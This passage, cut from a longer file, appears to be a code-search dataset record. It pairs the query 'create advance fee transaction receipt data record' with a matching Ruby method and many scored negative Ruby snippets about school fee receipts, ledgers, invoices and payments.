Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
8dbeee50989296d6267288b13ab0062c
create advance fee transaction receipt data record
[ { "docid": "a48c5a30faadd4c3959747d1de432b1b", "score": "0.7721481", "text": "def create_advance_fee_transaction_record\n receipt_template_id = fetch_reciept_template_config.present? ? fetch_reciept_template_config.fee_receipt_template_id : nil\n fees_account_id = fetch_account_config.present? ? fetch_account_config.fee_account_id : nil\n p_count = Configuration.precision_count\n a_f_t_receipt_record = AdvanceFeeTransactionReceiptRecord.new(:advance_fee_collection_id => self.id, :transaction_receipt_id => self.transaction_receipt_id,\n :fee_account_id => fees_account_id, :fee_receipt_template_id => receipt_template_id,\n :precision_count => p_count, :receipt_data => self.receipt_data)\n a_f_t_receipt_record.save\n end", "title": "" } ]
[ { "docid": "470d7dbfa99192581e13aa475856db2d", "score": "0.7013228", "text": "def create_the_transaction_data\n receipt_set = fetch_receipt_config\n receipt_number_set = receipt_set.present? ? receipt_set.receipt_number_set : nil\n receipt = TransactionReceipt.safely_create(receipt_number_set)\n currency = Configuration.currency\n receipt_template_id = fetch_reciept_template_config.present? ? fetch_reciept_template_config.fee_receipt_template_id : nil\n receipt_data = OpenStruct.new(:reference_no => self.reference_no, :total_amount_to_pay => \"---\", :payment_mode => self.payment_mode,\n :template_id => receipt_template_id, :formated_date => self.date_of_advance_fee_payment, :transaction_date => self.date_of_advance_fee_payment,\n :receipt_title => \"Advance Fee receipt\", :amount => self.fees_paid, :total_payable => self.fees_paid, :total_amount_paid => self.fees_paid,\n :bank_name => self.bank_name, :cheque_date => self.cheque_date, :reference_no => self.reference_no,\n :receipt_no => receipt.ef_receipt_number, :wallet_mode_only => true, :finance_type => \"AdvanceFees\", :is_particular_wise => false, :currency => currency )\n default_config_hash = ['InstitutionName', 'InstitutionAddress', 'PdfReceiptSignature',\n 'PdfReceiptSignatureName', 'PdfReceiptCustomFooter', 'PdfReceiptAtow', 'PdfReceiptNsystem',\n 'PdfReceiptHalignment', 'FinanceTaxIdentificationLabel', 'FinanceTaxIdentificationNumber', 'EnableRollNumber']\n default_configs = OpenStruct.new(Configuration.get_multiple_configs_as_hash default_config_hash)\n default_configs.default_currency = Configuration.default_currency\n default_configs.currency_symbol = Configuration.currency\n default_configs.currency = Configuration.currency\n receipt_data.default_configs = default_configs\n advance_fee_category_collections = self.advance_fee_category_collections\n receipt_data.transactions = advance_fee_category_collections\n receipt_data.payee = OpenStruct.new(:full_name => self.student.full_name, :payee_type => \"Student\", :admission_no => self.student.admission_no,\n :roll_no => self.student.roll_number, :full_course_name => self.student.batch.course.full_name,\n :batch_full_name => self.student.batch.full_name, :guardian_name => self.student.try(:immediate_contact).try(:full_name)\n )\n self.update_attributes(:transaction_receipt_id => receipt.id, :receipt_data => receipt_data);\n create_advance_fee_transaction_record\n end", "title": "" }, { "docid": "a3d258f69f79950bb1185dab575dac5f", "score": "0.6096184", "text": "def create\n session[:receipt_params].deep_merge!(params[:receipt]) if params[:receipt]\n @receipt = Receipt.new(session[:receipt_params])\n @receipt.current_step = session[:receipt_step]\n logger.debug \"@receipt.expiration_time_ampm : #{@receipt.expiration_time_ampm}\"\n @receipt.expiration_time = (@receipt.expiration_time + 12.hours).to_datetime if @receipt.expiration_time_ampm == \"PM\" \n if @receipt.valid?\n if @receipt.last_step?\n if @receipt.save\n UserMailer.receiptavailable_email(@receipt)\n flash[:notice] = \"Receipt saved.\"\n redirect_to home_welcome_path\n return\n end\n else\n @receipt.next_step\n end\n session[:receipt_step] = @receipt.current_step\n end\n render action: \"new\"\n end", "title": "" }, { "docid": "f6de8dca18f4e4f94d080ca69be95fb2", "score": "0.6009282", "text": "def generate_ledger_transaction\n\n is_new = _id_changed?\n if is_new\n\n transaction_label = I18n.t('ledger_transactions.auto_generated.payment', payment_form: payment_form.name, invoice_identifier: invoice.identifier, organization_identifier: invoice.organization.identifier)\n transaction = invoice.instance.ledger_transactions.build(transacted_on: paid_on, description: transaction_label)\n transaction.locked = true\n\n # Add debit for this transaction\n transaction.lines.build(account: payment_form.account, description: transaction_label, debit: amount)\n\n # Add a credit for this transaction\n transaction.lines.build(account: invoice.organization.organization_account, description: transaction_label, credit: amount)\n \n transaction.save!\n \n end\n \n end", "title": "" }, { "docid": "19ab80b2b38e385e9a772f22c0f98fd0", "score": "0.59418684", "text": "def rn_generate_note\n supplier = params[:supplier]\n order = params[:request]\n note_no = params[:offer_no]\n note_date = params[:offer_date] # YYYYMMDD\n note = nil\n note_item = nil\n code = ''\n\n if order != '0'\n purchase_order = PurchaseOrder.find(order) rescue nil\n purchase_order_items = purchase_order.purchase_order_items rescue nil\n if !purchase_order.nil? && !purchase_order_items.nil?\n # Format offer_date\n note_date = (note_date[0..3] + '-' + note_date[4..5] + '-' + note_date[6..7]).to_date\n # Try to save new note\n note = ReceiptNote.new\n note.receipt_no = note_no\n note.supplier_id = purchase_order.supplier_id\n note.payment_method_id = purchase_order.payment_method_id\n note.receipt_date = note_date\n note.discount_pct = purchase_order.discount_pct\n note.discount = purchase_order.discount\n note.project_id = purchase_order.project_id\n note.store_id = purchase_order.store_id\n note.work_order_id = purchase_order.work_order_id\n note.charge_account_id = purchase_order.charge_account_id\n note.retention_pct = purchase_order.retention_pct\n note.retention_time = purchase_order.retention_time\n note.created_by = current_user.id if !current_user.nil?\n note.purchase_order_id = purchase_order.id\n note.organization_id = purchase_order.organization_id\n if note.save\n # Try to save new note items\n purchase_order_items.each do |i|\n if i.balance != 0 # Only items not received yet\n note_item = ReceiptNoteItem.new\n note_item.receipt_note_id = note.id\n note_item.purchase_order_item_id = i.id\n note_item.product_id = i.product_id\n note_item.description = i.description\n note_item.quantity = i.balance\n note_item.price = i.price\n note_item.discount_pct = i.discount_pct\n note_item.discount = i.discount\n note_item.tax_type_id = i.tax_type_id\n note_item.store_id = i.store_id\n note_item.work_order_id = i.work_order_id\n note_item.charge_account_id = i.charge_account_id\n note_item.created_by = current_user.id if !current_user.nil?\n note_item.code = i.code\n note_item.purchase_order_id = i.purchase_order_id\n note_item.project_id = i.project_id\n if !note_item.save\n # Can't save note item (exit)\n code = '$write'\n break\n end # !note_item.save?\n end # i.balance != 0\n end # do |i|\n # Update totals\n note.update_column(:totals, ReceiptNote.find(note.id).total)\n else\n # Can't save note\n code = '$write'\n end # note.save?\n else\n # Purchase order or items not found\n code = '$err'\n end # !purchase_order_items.nil? && !purchase_order_items.nil?\n else\n # Purchase order 0\n code = '$err'\n end # order != '0'\n if code == ''\n code = I18n.t(\"ag2_products.receipt_notes.generate_note_ok\", var: note.id.to_s)\n end\n @json_data = { \"code\" => code }\n render json: @json_data\n end", "title": "" }, { "docid": "3e81816a885d68dd4f853b5da70b6f47", "score": "0.58276665", "text": "def create_payment_tx\n create_spend_tx @seller_address\n end", "title": "" }, { "docid": "81440494dbe6e1effce6bb1b946a4a8a", "score": "0.5765585", "text": "def create\n=begin\n @receipt = Receipt.new(receipt_params)\n\n respond_to do |format|\n if @receipt.save\n format.html { redirect_to @receipt, notice: 'Receipt was successfully created.' }\n format.json { render :show, status: :created, location: @receipt }\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n=end\n last_receipt_balance = Receipt.last.balance || 0\n @receipt = Receipt.new(receipt_params)\n @user = User.find(@receipt.cashier)\n @receipt.active_time_before_charge = @user.active_time\n @receipt.time_length = @receipt.money * @receipt.price\n @receipt.active_time_after_charge = @receipt.active_time_before_charge + @receipt.time_length\n @receipt.user_id = current_user.id\n @receipt.balance = last_receipt_balance + @receipt.money\n respond_to do |format|\n if @receipt.save\n @user.update(active_time: @receipt.active_time_after_charge)\n format.html { redirect_to receipts_path, notice: \"给用户#{@user.name}充值成功!\" }\n format.json { render :show, status: :created, location: @receipt }\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f3db4e247f81cdf8fa606ab03dffb29", "score": "0.5737622", "text": "def generate_ledger_transaction\n if state_changed? && state_was == STATES.key(:draft).to_i && generated?\n\n transaction_label = I18n.t('ledger_transactions.auto_generated.invoice', invoice_identifier: identifier, organization_identifier: organization.identifier)\n debit_label = I18n.t('ledger_transactions.auto_generated.invoice_debit', :invoice_identifier => identifier)\n\n transaction = instance.ledger_transactions.build(:transacted_on => Date.today, :description => transaction_label)\n transaction.locked = true\n\n transaction.lines.build(:account => organization.organization_account, :description => debit_label, :debit => total_cost)\n\n # Add a credit line for each line on the invoice\n lines.each do |line|\n transaction.lines.build(:account => line.product.account, :description => line.product.name, :credit => line.total_cost)\n end\n\n transaction.save!\n\n end\n end", "title": "" }, { "docid": "9b4b1712471cf0352ef0d0074dfc8973", "score": "0.5724589", "text": "def create_payment_transaction\n puts \"Running payment_process.create_payment_transaction\"\n @payment_transaction = AccountTransaction.create! do |t|\n \tt.occurred_on = @date\n \tt.entry_type = \"payment\"\n \tt.journal_id = @id\n \tt.journal_type = \"Payment\"\n t.source_id = @id\n t.source_type = \"Payment\"\n \tt.account_id = @from\n \tt.credit = @amount\n end\n end", "title": "" }, { "docid": "ca4b8db991aad24053bd4e455229d6fb", "score": "0.5714187", "text": "def pay\n\n unless final_bill\n next_bill = dup\n next_bill.due_date = due_date.advance({ term_unit => term_number }.symbolize_keys)\n next_bill.save\n end\n\n update(paid: true)\n end", "title": "" }, { "docid": "6f624e24db561448dffa455dfea434e8", "score": "0.5712208", "text": "def create_invoice(amount,tennant,description,type)\n\tinvoice = Hash.new\n\tinvoice['amount'] = amount\n\tinvoice['tennant_id'] = tennant\n\tinvoice['description'] = description\n\tinvoice['invoice_type'] = type\n\tInvoice.create!(invoice)\nend", "title": "" }, { "docid": "42cff6a3b65b16077cb0088ee031dafa", "score": "0.56885546", "text": "def create_fee_schedule\n\n FeeSchedule.create(:start_date => Time.current.at_beginning_of_year.strftime(\"%Y-%m-%d\"),\n :end_date => Time.current.at_beginning_of_year.strftime(\"%Y\") + \"-12-31\",\n :charge_type => \"Allowed\", \n :carrier_id => id,\n :practice_id => practice_id,\n :doctor_id => 0) \n end", "title": "" }, { "docid": "55fca5e2df3f37d5d5cba42cb64811af", "score": "0.5675434", "text": "def redeem(prize)\n credit_transactions.create!(:amount => -prize.credits, :description => \"Redeemed #{prize.title}\")\n end", "title": "" }, { "docid": "64c34b515f2fcc38ceba8b30ad2000a2", "score": "0.56441617", "text": "def create_fee(options = {})\n post(:fees, fees: [options]).pop\n end", "title": "" }, { "docid": "4f8bc195e5c4dfafa6ce16e0bf027d1b", "score": "0.5623366", "text": "def update_ledger\n self.create_ledger(amount: self.amount, customer: self.customer, date: self.date_of_payment, received: 0)\n end", "title": "" }, { "docid": "428b22a9117277817a973735f92c3dfc", "score": "0.5607029", "text": "def generate_overall_fee_receipt_pdf\n @student = Student.find(params[:student_id])\n status = true\n # begin\n ledger = FinanceTransactionLedger.find_by_id(params[:transaction_id],\n :joins => \"LEFT JOIN finance_transactions ft ON ft.transaction_ledger_id = finance_transaction_ledgers.id\n INNER JOIN finance_transaction_receipt_records ftrr ON ftrr.finance_transaction_id = ft.id\n LEFT JOIN fee_accounts fa ON fa.id = ftrr.fee_account_id\",\n # :conditions => \"(ftrr.fee_account_id IS NULL OR (ftrr.fee_account_id IS NOT NULL AND fa.is_deleted = false))\"\n :conditions => \"#{active_account_conditions(true, 'ftrr')}\"\n )\n # @transactions\n # @transactions = FinanceTransaction.find(params[:transaction_id])\n # rescue ActiveRecord::RecordNotFound\n # status=false\n # end\n # generate data for overall receipt \n unless ledger.present?\n respond_to do |format|\n format.html { render :file => \"#{Rails.root}/public/404.html\", :status => :not_found }\n end\n else\n # config_keys = ['PdfReceiptSignature', 'PdfReceiptSignatureName', \n # 'PdfReceiptCustomFooter','PdfReceiptAtow','PdfReceiptNsystem', 'PdfReceiptHalignment',\n # 'InstitutionAddress', 'InstitutionName' ]\n # fetch_config_hash config_keys\n # @default_currency = Configuration.default_currency\n # @current_batch = Batch.find(params[:batch_id])\n # overall_receipt = OverallReceipt.new(params[:student_id], params[:transaction_id])\n # @data = overall_receipt.fetch_details\n @transaction_ledger = ledger\n @transactions_data = ledger.overall_receipt_data(params[:batch_id])\n @transactions_data.transaction_status = ledger.status\n @data = {:templates => @transactions_data.template_ids.present? ?\n FeeReceiptTemplate.find(@transactions_data.template_ids).group_by(&:id) : {}}\n render :pdf => 'generate_overall_fee_receipt_pdf',\n :template => 'finance_extensions/generate_overall_fee_receipt_pdf_new.erb',\n :margin => {:top => 2, :bottom => 10, :left => 5, :right => 5},\n :header => {:html => {:content => ''}},\n :footer => {:html => {:content => ''}},\n :show_as_html => params.key?(:debug)\n end\n end", "title": "" }, { "docid": "65f7fffb966751f84a5c9629fc38bfd3", "score": "0.5546267", "text": "def txn_fee\n 1\n end", "title": "" }, { "docid": "61bd2b8731ace602c342b948ffdf0064", "score": "0.5529223", "text": "def create_fee_schedule\n fee_schedule = FeeSchedule.create(:start_date => Time.current.at_beginning_of_year.strftime(\"%Y-%m-%d\"),\n :end_date => Time.current.at_beginning_of_year.strftime(\"%Y\") + \"-12-31\",\n :charge_type => \"Standard\",\n :carrier_id => 0,\n :practice_id => id,\n :doctor_id => 0)\n\n cpt_codes = FrequentCpt.find_all_by_practice_type_id(0,:select=>['cpt_code_id'])\n cpt_codes += FrequentCpt.find_all_by_practice_type_id(practice_type,:select=>['cpt_code_id'])\n unless cpt_codes.blank?\n for code in cpt_codes\n cpt_code = CptCode.find(code.cpt_code_id)\n medicare_charge = CptCode.compute(cpt_code, self)\n CptCharge.create(:practice_id => id,\n :cpt_code_id => code.cpt_code_id,\n :fee_schedule_id => fee_schedule.id,\n :charge => medicare_charge)\n end\n end\n end", "title": "" }, { "docid": "b05b231aff5ce2f604a0efd7ee915f0c", "score": "0.5520614", "text": "def create_cancelled_transaction_data(adfc, reason)\n dup_transaction = adfc.clone\n dup_transaction = dup_transaction.attributes.except('created_at', 'updated_at', 'receipt_data')\n cancelled_advance_fee_transaction = CancelledAdvanceFeeTransaction.new(dup_transaction)\n transaction_hash = OpenStruct.new\n transaction_hash.transactions = adfc.advance_fee_category_collections\n cancelled_advance_fee_transaction.transaction_data = transaction_hash\n cancelled_advance_fee_transaction.reason_for_cancel = reason\n cancelled_advance_fee_transaction.advance_fee_collection_id = adfc.id\n student = adfc.student\n revert_status = adfc.fees_paid <= student.advance_fee_wallet.amount ? true : false\n if revert_status == true\n wallet = student.advance_fee_wallet\n cancelled_advance_fee_transaction.save\n wallet.update_attributes(:amount => (wallet.amount.to_f - adfc.fees_paid.to_f))\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "47516332d2ef9c9816219c1d1c63d63e", "score": "0.55202", "text": "def create_transaction(date, payee, amount, type)\n {date: date, payee: payee, amount: amount, type: type}\nend", "title": "" }, { "docid": "844eb3dd80d65dd33a6f991af10eaa4d", "score": "0.5516347", "text": "def new\n get_data\n @adjustment_detail = @adjustment.details.new\n @adjustment_detail.quantity_print = \"\"\n end", "title": "" }, { "docid": "4f655d5a92324ee00f3f6fefa89141ee", "score": "0.54930145", "text": "def create_refund_tx\n create_spend_tx @buyer_address\n end", "title": "" }, { "docid": "4b660ca1eb6393122aa74332498dc5dc", "score": "0.5492971", "text": "def assign_fee\n if Intake.find_by(intake_code: self.intake) != nil\n # Fetch intake code\n m_intake = Intake.find_by(intake_code: self.intake)\n # Fetch the programme obj based on the intake code\n programme = Programme.find_by(id: m_intake.programme_id)\n # Set the number of year\n year = programme.year\n # Set the number of semester\n semester = programme.semester\n # Calculate the duration of a semester\n semester_duration = year*52/semester\n # Determine the student is local or international student\n international = self.international\n # Based on the condition and assigned the course fee\n if international == false\n course_fee = m_intake.local_student_fee\n else\n course_fee = m_intake.international_student_fee\n end\n # Set the due date (For 1 week duration of the intake starts)\n due_date = m_intake.starting_date + 1.week\n # Calculate the amount for the course fee\n amount = course_fee/semester\n # Create Course Fees\n counter = 0\n\n semester.times do\n counter += 1\n self.student_fees.create!(name: \"Course Fees\",\n amount: amount,\n due_date: due_date,\n description: \"Course Fees for Semester #{counter}\",\n paid: false)\n due_date = due_date + semester_duration.weeks\n end\n\n if UtilityFee.count != 0\n # Create Utility Fees\n nonrepetitive_due_date = m_intake.starting_date + 1.week\n\n UtilityFee.all.each do |uf|\n if(uf.repetitive_payment == true)\n repetitive_due_date = m_intake.starting_date + 1.week\n year.times do |n|\n self.student_fees.create!(name: \"#{uf.name} for year #{(n+1)}\",\n amount: uf.amount,\n due_date: repetitive_due_date,\n description: uf.description,\n paid: false)\n repetitive_due_date = repetitive_due_date + 1.year\n end\n else\n self.student_fees.create!(name: uf.name,\n amount: uf.amount,\n due_date: nonrepetitive_due_date,\n description: uf.description)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "8ebb32d2f91517c1afeb254789427885", "score": "0.5492292", "text": "def add_fee(access_token, event, fee)\n event_id = get_id_for(event)\n url = Util::Config.get('endpoints.base_url') +\n sprintf(Util::Config.get('endpoints.event_fees'), event_id)\n url = build_url(url)\n payload = fee.to_json\n response = RestClient.post(url, payload, get_headers(access_token))\n Components::Fee.create(JSON.parse(response.body))\n end", "title": "" }, { "docid": "406e05dfa710fdd0caa23929fdefe95b", "score": "0.5489488", "text": "def setup_bill\n today = Time.new.strftime('%Y%m%d')\n\n fecaereq = { 'FeCAEReq' => {\n 'FeCabReq' => Bravo::Bill.header(bill_type),\n 'FeDetReq' => {\n 'FECAEDetRequest' => {\n 'Concepto' => Bravo::CONCEPTOS[concept],\n 'DocTipo' => Bravo::DOCUMENTOS[document_type],\n 'CbteFch' => today,\n 'ImpTotConc' => 0.00,\n 'MonId' => Bravo::MONEDAS[currency][:codigo],\n 'MonCotiz' => 1,\n 'ImpOpEx' => 0.00,\n 'ImpTrib' => 0.00,\n 'Iva' => {\n 'AlicIva' => {\n 'Id' => applicable_iva_code,\n 'BaseImp' => net.round(2),\n 'Importe' => iva_sum } } } } } }\n\n detail = fecaereq['FeCAEReq']['FeDetReq']['FECAEDetRequest']\n\n detail['DocNro'] = document_number\n detail['ImpNeto'] = net.to_f\n if invoice_c?\n fecaereq['FeCAEReq']['FeDetReq']['FECAEDetRequest'].delete('Iva')\n elsif invoice_b? # HOT FIX: Force no iva on Facturas B for Tierra del fuego customers, noone else is using it\n fecaereq['FeCAEReq']['FeDetReq']['FECAEDetRequest']['Iva']['AlicIva'] = {\n 'Id' => Bravo::ALIC_IVA[Bravo::APPLICABLE_IVA[:responsable_inscripto][:exento]][0],\n 'BaseImp' => net.round(2),\n 'Importe' => iva_sum(invoice_b?)\n }\n else\n detail['ImpIVA'] = iva_sum\n end\n detail['ImpTotal'] = total\n detail['CbteDesde'] = detail['CbteHasta'] =\n @bill_number > 0 ? @bill_number : Bravo::Reference.next_bill_number(bill_type)\n\n unless concept == 0\n detail.merge!({ 'FchServDesde' => date_from || today,\n 'FchServHasta' => date_to || today,\n 'FchVtoPago' => due_date || today })\n end\n\n if Bravo.own_iva_cond == 'exento'\n detail.merge!({ 'Opcionales' => [{\n 'Opcional' => {\n 'Id' => '10',\n 'Valor' => '1'} }, {\n 'Opcional' => {\n 'Id' => '1011',\n 'Valor' => Bravo::DOCUMENTOS[document_type]} }, {\n 'Opcional' => {\n 'Id' => '1012',\n 'Valor' => document_number} } ] })\n end\n\n body.merge!(fecaereq)\n end", "title": "" }, { "docid": "9041e1978a5cd5d83ebf68274261ecef", "score": "0.54796386", "text": "def create_payment_record(full_amount, transaction_id)\n subscription_payments.create({\n :account => account,\n :amount => full_amount,\n :prepaid_messages => subscription_plan.prepaid_message_count,\n :session_messages => account.session_message_count,\n :admin_messages => account.admin_message_count,\n :marketing_messages => account.marketing_message_count,\n :transaction_id => transaction_id })\n end", "title": "" }, { "docid": "53f3043e2f2745195f5a0105bb32f47e", "score": "0.5473484", "text": "def create\n @receipt_advance = ReceiptAdvance.new(params[:receipt_advance])\n\n respond_to do |format|\n if @receipt_advance.save\n format.html { redirect_to @receipt_advance, notice: 'Receipt advance was successfully created.' }\n format.json { render json: @receipt_advance, status: :created, location: @receipt_advance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @receipt_advance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f60f34cf43d34e3327607e7f15c6fca2", "score": "0.5469268", "text": "def accounting_for_recharge(amount)\n self.update_attribute(:money, self.money + amount)\n self.records.create!(\n :sn => Time.stamp,\n :io => \"in\",\n :reason => \"recharge\",\n :description => \"充值\",\n :amount => amount,\n :model => \"SYSTEM\",\n :status => \"success\"\n )\n end", "title": "" }, { "docid": "ee65dce0a6ee46fa65a3766ae72f8a53", "score": "0.5465946", "text": "def start_transaction\n if params[:create_transaction].present?\n gateway_record = GatewayRequest.find(:first, :conditions=>{:transaction_reference=>params[:transaction_ref], :status=>0})\n if gateway_record.present?\n gateway_record.update_attribute('status', true)\n active_gateway = gateway_record.gateway\n hostname = \"#{request.protocol}#{request.host_with_port}\"\n advance_fees_transaction = AdvanceFeePayment.create_advance_fees_transactions(params,hostname,nil,active_gateway)\n if advance_fees_transaction.status\n flash[:notice] = \"#{t('payment_success')} <br> #{t('payment_reference')} : #{advance_fees_transaction.gateway_response[:transaction_reference]}\"\n else\n flash[:notice] = \"#{t('payment_failed')} <br> #{t('reason')} : #{advance_fees_transaction.gateway_response[:reason_code]}\"\n end\n else\n flash[:notice] = t('flash_msg3')\n end\n else\n flash[:notice] = t('payment_failed')\n end\n redirect_to :action => \"advance_payment_by_student\", :id => params[:id]\n end", "title": "" }, { "docid": "5155e62809790285aecc79df2843b675", "score": "0.54653966", "text": "def create\n @receipt = Receipt.new(params[:receipt])\n run_docnumber\n default_cancel\n @receipt.detail=nil\n @receipt.complete = false\n respond_to do |format|\n if @receipt.save\n\tif @receipt.doc_date==Date.today\n\t @receipt.destroy\n\t format.html { render :action => \"new\"}\n\telse\n\t format.html { redirect_to(manageitem_receipt_path(@receipt), :notice => 'receipt was successfully created.') }\n\t format.xml { render :xml => @receipt, :status => :created, :location => @receipt }\n\tend\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @receipt.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f6186d880b54a0051f6d5c98146e291", "score": "0.5460884", "text": "def pay_all_fees_receipt_pdf\n # @student=Student.find(params[:id])\n # @current_batch= Batch.find(params[:batch_id])\n # fetch_all_fees\n pay_all_data\n fee_types = \"'FinanceFee'\"\n # fee_types = [\"FinanceFee\"]#, \"HostelFee\", \"TransportFee\"] \n fee_types += \", 'HostelFee'\" if FedenaPlugin.can_access_plugin?(\"fedena_hostel\")\n fee_types += \", 'TransportFee'\" if FedenaPlugin.can_access_plugin?(\"fedena_transport\")\n @is_tax_present = @finance_fees.map(&:tax_enabled).include?(true)\n @tax_config = Configuration.get_multiple_configs_as_hash(['FinanceTaxIdentificationLabel',\n 'FinanceTaxIdentificationNumber']) if @is_tax_present\n @paid_fees = @student.finance_transaction_ledgers.active_transactions.all(\n :select => \"DISTINCT finance_transaction_ledgers.*\",\n :joins => \"INNER JOIN finance_transactions ON finance_transactions.transaction_ledger_id = finance_transaction_ledgers.id\n LEFT JOIN finance_transaction_receipt_records ftrr ON ftrr.finance_transaction_id = finance_transactions.id\n LEFT JOIN fee_accounts fa ON fa.id = ftrr.fee_account_id\",\n # :conditions => \"finance_transactions.finance_type in (#{fee_types}) AND\n # (ftrr.id is NOT NULL AND (ftrr.fee_account_id IS NULL OR\n # (ftrr.fee_account_id IS NULL AND fa.is_deleted = false)))\",\n :conditions => \"finance_transactions.finance_type in (#{fee_types}) AND #{active_account_conditions(true, 'ftrr')}\",\n\n :include => {:finance_transactions => [:transaction_receipt, {:finance_transaction_receipt_record => :fee_account}]})\n @transactions = Hash.new\n @paid_fees.each do |ledger|\n @transactions[ledger.id] = ledger.finance_transactions.select do |x|\n ftrr = x.finance_transaction_receipt_record\n fee_types.include?(x.finance_type) and (ftrr.fee_account == nil or (ftrr.fee_account.present? and !ftrr.fee_account.is_deleted))\n end\n end\n # @paid_fees=@student.multi_fees_transactions\n # @other_transactions=FinanceTransaction.find(:all, :select => \"distinct finance_transactions.*\", \n # :joins => \"LEFT OUTER JOIN `multi_fees_transactions_finance_transactions` ON `multi_fees_transactions_finance_transactions`.finance_transaction_id = `finance_transactions`.id \n # LEFT OUTER JOIN `multi_fees_transactions` ON `multi_fees_transactions`.id = `multi_fees_transactions_finance_transactions`.multi_fees_transaction_id\", \n # :conditions => \"payee_id='#{@student.id}' and multi_fees_transactions.id is NULL and finance_type in (#{fees})\")\n @multi_transaction_fines = MultiTransactionFine.all(:select => \"multi_transaction_fines.*, \n ft.finance_id AS finance_id, ft.finance_type AS finance_type\",\n :conditions => \"receiver_type = 'Student' AND receiver_id = #{@student.id} AND\n ft.batch_id = #{@current_batch.id}\",\n :joins => \"INNER JOIN finance_transaction_fines ftf\n ON ftf.multi_transaction_fine_id = multi_transaction_fines.id \n INNER JOIN finance_transactions ft \n ON ft.id = ftf.finance_transaction_id\") unless current_user.student?\n render :pdf => 'pay_all_fees_receipt_pdf',\n :margin => {:left => 15, :right => 15},\n :show_as_html => params.key?(:debug)\n end", "title": "" }, { "docid": "47983819856d321060e9e530f314f13e", "score": "0.54561746", "text": "def create_transaction\n Transaction.new(@@decimal)\n end", "title": "" }, { "docid": "c22b8890ad38d687768802afa9153d7a", "score": "0.5451346", "text": "def generate_transaction\n transaction do\n trans = user.purchases.create!(\n amount_in_cents: money_units,\n qty: volume_units,\n venue_id: venue_id,\n tap_id: tap_id,\n description: account_name,\n created_at: line_item_at\n )\n update!(user_transaction: trans)\n end\n end", "title": "" }, { "docid": "e0700d6faa8b268493db2c595e506674", "score": "0.5448018", "text": "def create\n @fee_detail = FeeDetail.new(fee_detail_params)\n attributes = fee_detail_params.clone\n member_id = attributes[:member_id]\n @member = Member.find(member_id)\n \n\n respond_to do |format|\n if @fee_detail.save\n if @fee_detail.fee_amount == @fee_detail.fee_paid\n @member.Paid!\n end\n if @member.admission_date < 1.month.ago \n if @fee_detail.fee_amount == 400\n @member.last_fee_date = @member.next_fee_date\n @member.next_fee_date = @member.next_fee_date + 1.month\n elsif @fee_detail.fee_amount == 1000\n @member.last_fee_date = @member.next_fee_date\n @member.next_fee_date = @member.next_fee_date + 3.month\n else\n end\n \n end\n @member.save\n format.html { redirect_to @fee_detail, notice: 'Fee detail was successfully created.' }\n format.json { render :show, status: :created, location: @fee_detail }\n else\n format.html { render :new }\n format.json { render json: @fee_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c29c7e6013554087616dcc3bb9d2ff00", "score": "0.54464495", "text": "def add_fee(factory, claim)\n claim.fees << build(factory, claim:)\n end", "title": "" }, { "docid": "6aa8d1b9bf723f308652935aad7bec90", "score": "0.543865", "text": "def create\n date = Date.new(receipt_params[\"date(1i)\"].to_i, receipt_params[\"date(2i)\"].to_i, receipt_params[\"date(3i)\"].to_i)\n\n @receipt = Receipt.new(date: date, store_id: receipt_params[:store_id], pay_account_id: receipt_params[:pay_account_id])\n receipt_params[:receipt_details_attributes].to_h.values.each do |receipt_detail|\n # id, store_id, priceいずれも入力値が空の場合は除外\n next if receipt_detail.values.all?{|e| e.blank?}\n\n @receipt.receipt_details.build(receipt_detail)\n end\n\n respond_to do |format|\n if @receipt.save\n format.html { redirect_to @receipt, notice: 'Receipt was successfully created.' }\n format.json { render :show, status: :created, location: @receipt }\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb6307f9f62b5ee3de64e0cc3e95f6f0", "score": "0.5429238", "text": "def create_trade_record(market, quantity, book_cost)\n trade = {:market => market, :direction => \"BUY\", :quantity => quantity,\n :book_cost => book_cost, :date => Time.now}\n @transactions << trade\n # if the equity is already held,\n 